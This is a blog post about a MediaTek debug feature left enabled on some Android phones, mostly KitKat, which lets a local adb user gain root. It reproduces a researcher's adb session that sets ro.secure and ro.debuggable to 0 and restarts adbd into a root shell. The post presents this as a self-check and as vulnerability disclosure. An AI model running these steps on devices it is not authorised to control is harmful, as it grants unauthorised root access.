It is not even funny. I can understand that unknown security vulnerability is discovered in the most popular mobile operating system and a lot of devices are affected. Even lack of maintenance support and updates for old devices is somewhat understandable for me. However, the known backdoor provided by chipset manufacturer which is not disabled by the smartphone producer…

What is the story? MediaTek has prepared a debug feature for telecommunication inter-operability testing which allows us to grant the root access. This backdoor was known, however some smartphone manufactures did not disable the feature flag before releasing the equipment on the market. This problem is officially confirmed by MediaTek, however they do not inform which smartphones are affected. The only official fact is that all manufactures were informed about the issue. Unfortunately it is not known when and if these devices will be fixed. MediaTek‘s security team found that this backdoor is enabled mainly on smartphones running Android 4.4 KitKat.

The problem was reported by Justin Case on his Twitter. You can also read more information about the issue on Gadgets 360 website. However, you can also check if the backdoor feature flag is enabled on your Android smartphone:

Jons-MacBook-Pro:~ jcase$ adb shell
shell@Obi_S454:/ $ getprop ro.secure 1
shell@Obi_S454:/ $ setprop ro.secure 0
shell@Obi_S454:/ $ getprop ro.secure 0
shell@Obi_S454:/ $ exit
Jons-MacBook-Pro:~ jcase$ adb root
adbd cannot run as root in production builds
Jons-MacBook-Pro:~ jcase$ adb shell
shell@Obi_S454:/ $ setprop ro.debuggable 0
shell@Obi_S454:/ $ getprop ro.debuggable 0
shell@Obi_S454:/ $ exit
Jons-MacBook-Pro:~ jcase$ adb root
adbd cannot run as root in production builds
Jons-MacBook-Pro:~ jcase$ adb usb          //This causes adbd to restart
restarting in USB mode
Jons-MacBook-Pro:~ jcase$ adb root
adbd is already running as root
Jons-MacBook-Pro:~ jcase$ adb shell
root@Obi_S454:/ # id
uid=0(root) gid=0(root) context=u:r:init_shell:s0
root@Obi_S454:/ #
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He is an experienced developer of Java and the Android operating system. During his career, he participated in several projects related to mobile devices. He is creating mobile applications for Android for two years.